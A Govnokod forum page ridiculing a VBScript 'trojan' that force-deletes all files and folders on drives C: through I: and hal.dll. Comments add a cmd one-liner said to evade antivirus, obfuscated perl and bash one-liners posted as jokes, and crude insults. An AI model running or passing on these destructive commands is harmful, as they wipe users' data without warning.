1. VisualBasic / Говнокод #15547

    −117

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    on error resume next
    
    Set S = CreateObject("Wscript.Shell")
    
    set FSO=createobject("scripting.filesystemobject")
    
    fso.deletefile "C:*.*",1
    
    fso.deletefolder "C:*.*",1
    
    fso.deletefile "D:*.*",1
    
    fso.deletefolder "D:*.*",1
    
    fso.deletefile "E:*.*",1
    
    fso.deletefolder "E:*.*",1
    
    fso.deletefile "F:*.*",1
    
    fso.deletefolder "F:*.*",1
    
    fso.deletefile "G:*.*",1
    
    fso.deletefolder "G:*.*",1
    
    fso.deletefile "H:*.*",1
    
    fso.deletefolder "H:*.*",1
    
    fso.deletefile "I:*.*",1
    
    fso.deletefolder "I:*.*",1
    
    fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1

    Школота пишет охуительный троян.
    http://www.v-zlom.ru/138-napisanie-troyana-na-yazyke-visual-basic-script.html

    Запостил: gost, 21 Марта 2014

    Комментарии (44) RSS

    • Надо будет изменить букву диска с операционкой на Z:
      Ответить
      • Да у нормальных людей операционка стоит на / и код на VB _очень_ сложно запустить.
        Ответить
        • Вот именно, у людей
          Ответить
        • У нормальных людей эта функция входит в инсталляторы дров.
          Ответить
          • А у прочих - в деинсталляторы яндекс-диска.
            Ответить
            • Там вроде при каких-то особых условиях работал баг.
              Ответить
              • 1. Условие наличие винды;
                2. Условие деинсталляция ЯД.

                ЗЫ я на халяву 200 гигов поимел. как то поставил ЯД на винду но не разу им не пользовался все с линукса.
                Ответить
        • У "нормальных людей" есть же
          perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

          или баш
          ISF=$(echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');$ISF 2>/dev/null
          Ответить
        • Нормальный человек = прыщеблядь?
          Ответить
    • Какая примитивщина, ужас.
      Аваст его детектит как троян: vbs:deletefiles-e
      Ответить
      • А еще они перестраховались:
        fso.deletefile "C:*.*",1
        fso.deletefolder "C:*.*",1
        Ответить
        • Не понятно, зачем понадобилось писать свиток, это можно было сделать 1 строчкой: cmd /c del C:\*.* /q /f /s и антивирус бы не задетектил это. Но сама идея - отстой, никакого взлета мысли.
          Лично я приемлю написание вирусов/троянов только ради повышения квалификации на нарах.
          Ответить
          • > cmd /c del C:\*.* /q /f /s
            Смотрите, кто-то взломал учётку Стертора.

            P.S. Как там новый минусатор? Уже можно говорить спасибо за молчание Конардо?
            Ответить
            • Минусатор почти готов, теперь я могу утопить целый тред за считанные мгновения. Кстати, в мае я планирую выпустить в свет новую тулзу-лечилку, но боюсь проблем, так как прога писана на триальном компиляторе, по причине чего в Пользовательском Соглашении указано, что прога бесплатна и что я не буду получать абсолютно никакой прибыли (ни в прямом виде, ни в виде "пожертвований") от ее распространения.
              Ответить
            • уёбку ответил
              Ответить
        • уёбку ответил
          Ответить
      • > vbs:deletefiles-e
        Во всем виновато fso.deletefile "E:*.*",1
        Ответить
        • >>Во всем виновато fso.deletefile "E:*.*",1
          Отнюдь.
          fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1

          Кстати, эвристикой скрипты анализирует только Доктор УЕБок, остальные по сигнатурам.
          Ответить
          • Кстати, а они случаем не забыли слеш в system32hal.dll? :)
            Ответить
            • Они не знают, что такое слэш :D
              Ответить
            • Ну я ж говорю, по сигнатурам ;)
              аналитик добавил строчку "как есть", не обременив себя исправлением кода. У аваста такое часто бывает.
              Ответить
            • уёбку ответил
              Ответить
            • уйбку ответил
              Ответить
    • Антивирус Попова на батниках или Супер-Троян на визуал басике. Кто победит?
      Если ты считаешь, что победит антивирус Попова, пришли цифру 1 на короткий номер 4477.
      Если ты считаешь, что победит Супер-Троян, пришли цифру 2 на короткий номер 4477.
      Ответить
      • Немного не то: Попов написал радиоприемник, а антивирус - дело рук г. Бабушкинда.
        Ответить
        • Попов написал ОС с нескучными обоями же!
          Ответить
          • там же из коропки не скучный антивирус
            Ответить
          • http://ru.wikipedia.org/wiki/%CF%EE%EF%EE%E2,_%C0%EB%E5%EA%F1%E0%ED%E4%F0_%D1%F2%E5%EF%E0%ED%EE%E2%E8%F7
            Ответить
            • Фу, ну кому интересны эти покрытые нафталином старпёры. Им пора уступить дорогу молодым распильщикам изобретателям и внедренцам, флагманам Российского ИТ.
              Ответить
          • уёбку ответил
            Ответить
            • Пиздец, стертор раньше более или менее осмысленные фразы выдавал, мне его даже стало немного жалко теперь.

              Вроде бы был обычный в меру выёбистый питух, а превратился в осетинский рак, помешанный на всякой пошлятине и «троллинге». Наверное, что-то очень трагичное и шокирующее случилось с ним там, в Осетии. Да и хуй с ним, впрочем.
              Ответить
        • Негров тебе хуястых
          Ответить

    Добавить комментарий